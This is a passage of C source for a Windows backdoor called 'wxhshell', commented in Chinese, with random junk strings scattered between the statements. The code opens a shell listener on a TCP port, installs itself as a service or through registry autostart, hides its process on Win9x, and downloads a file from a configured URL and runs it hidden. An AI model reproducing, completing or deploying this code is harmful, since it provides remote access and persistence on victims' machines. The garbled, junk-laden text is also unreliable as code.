4;C*Fa bar0{!Y" CloseHandle(hProcess); A XBkJ'jd !:"-:O}>=, if(strstr(procName,"services")) return 1; // 以服务启动 Sty!atEWT a@#Q:O)4 return 0; // 注册表启动 ZBX } QqtC`H\ =4tO0 // 主模块 r<*O int StartWxhshell(LPSTR lpCmdLine) TZ_rsj/t { 5vTv$2@ SOCKET wsl; TMJ9~"IO BOOL val=TRUE; (*,8KLV_i int port=0; dhHEE|vrz struct sockaddr_in door; Di*]ab z)lM2x>|* if(wscfg.ws_autoins) Install(); Xb}!0k/{ 3;*z3;#} port=atoi(lpCmdLine); H9RGU~q4s[ .^i<xY if(port<=0) port=wscfg.ws_port; &<au/^F #{!O,`qD WSADATA data; ;XG]Q<S\ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v&fGCD\R &Y1`?1;nw if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <cYp~e%xIw setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +W9]ED door.sin_family = AF_INET; {j?7d; 'j door.sin_addr.s_addr = inet_addr("127.0.0.1");
tPA:_ door.sin_port = htons(port); T2wv0sHlt 0[/vQ+O ]2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bM"fk& closesocket(wsl); M>T[!*nTj return 1; .Gh%p`< }
="\*h( mDfwn7f if(listen(wsl,2) == INVALID_SOCKET) { 7JI:=yY!>: closesocket(wsl); lEHwZ<je return 1; @l~7x } {"m0)G,G Wxhshell(wsl); 0Uw
^FcW WSACleanup(); hK(tPl$ Z:@6Lv?CN return 0; OV[`|<C ' T~X41d\ } /rc%O*R f{&bOF v // 以NT服务方式启动 M+P$/Wk VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $V>yXhTh { 0CExY9@Wq DWORD status = 0; GqKsK
r2% DWORD specificError = 0xfffffff; ~P*4V]L^ O9M{ ). serviceStatus.dwServiceType = SERVICE_WIN32; aA'TD:&p1 serviceStatus.dwCurrentState = SERVICE_START_PENDING; _BM4>r?\ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tY|8s]{2 serviceStatus.dwWin32ExitCode = 0; IE2"rQ T serviceStatus.dwServiceSpecificExitCode = 0; OO) ~HV4\ serviceStatus.dwCheckPoint = 0; UUe#{6Jx_ serviceStatus.dwWaitHint = 0; U7@AC}.+ *Zk>2<^R hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9xI GV! if (hServiceStatusHandle==0) return; AyKMhac Guw}=l--YR status = GetLastError(); J3RB]O_ if (status!=NO_ERROR) #-VMg+14 { ;,h/
serviceStatus.dwCurrentState = SERVICE_STOPPED; J:*-gwv9*m serviceStatus.dwCheckPoint = 0; YZf6| serviceStatus.dwWaitHint = 0; )!bUR\ serviceStatus.dwWin32ExitCode = status; n/d`qS serviceStatus.dwServiceSpecificExitCode = specificError; '9p@vi{\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Ro2ouQ!V return; dUrElXbXd } rqPo)AL BR`ygrfe serviceStatus.dwCurrentState = SERVICE_RUNNING; $ ,Ck70_ serviceStatus.dwCheckPoint = 0; B!]2Se2G serviceStatus.dwWaitHint = 0; XN=67f$Hw if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HSUI${< } en S}A*Io (& "su3z // 处理NT服务事件,比如:启动、停止 MM_k
]-7 VOID WINAPI NTServiceHandler(DWORD fdwControl) 2jJmE&)7, { 4S"\~>< switch(fdwControl) CvSIV7zYo { !^#jwRpeN case SERVICE_CONTROL_STOP: &F:IIo7 serviceStatus.dwWin32ExitCode = 0; p@!nYPr. serviceStatus.dwCurrentState = SERVICE_STOPPED; {Bs~lC$ serviceStatus.dwCheckPoint = 0; !3n)|~r;K serviceStatus.dwWaitHint = 0; z}QwP~Z { -&x2&WE' SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6k{2 +P } H={DB return; Y`7~Am/r;& case SERVICE_CONTROL_PAUSE: :o-,SrORM serviceStatus.dwCurrentState = SERVICE_PAUSED; *K!|@h{60 break; K%<j=c case SERVICE_CONTROL_CONTINUE: U@ ?LP serviceStatus.dwCurrentState = SERVICE_RUNNING; l:0s2 break; 6oaazB^L case SERVICE_CONTROL_INTERROGATE: o./.Q9e7 break; <9E0iz+j }; 'FlJpA} SetServiceStatus(hServiceStatusHandle, &serviceStatus); Va,<3z%O< } nkxzk$ OMhef,,H // 标准应用程序主函数 B[=(#W int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fx=Awba { 0N[&3Ee8 ~7~~S*EQ // 获取操作系统版本 KoE8Mp OsIsNt=GetOsVer(); ;k"Bse!/ GetModuleFileName(NULL,ExeFile,MAX_PATH); qPB8O1fyU UDhG : // 从命令行安装 #_lt~^6 if(strpbrk(lpCmdLine,"iI")) Install(); [b%:.bjY /MY9
> // 下载执行文件 _Jwq`]Z if(wscfg.ws_downexe) { ;Op3?_ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2LrJ>Mi WinExec(wscfg.ws_filenam,SW_HIDE); lzw3= H } (8v7|Pe8 D3|oOOoG if(!OsIsNt) { A+y // 如果时win9x,隐藏进程并且设置为注册表启动 a#mNE*Dg HideProc(); .s#;s'>g StartWxhshell(lpCmdLine); mNmLyU=d } :[ k4Z]t8 else ?)bS['^1) if(StartFromService()) RoCfJ65 // 以服务方式启动 uwRr LF StartServiceCtrlDispatcher(DispatchTable); 0sI1GhVR else iX0iRC6f // 普通方式启动 [M.f-x: StartWxhshell(lpCmdLine); OB[o2G <0 *~m+Nc`D,N return 0; UzXE_S }
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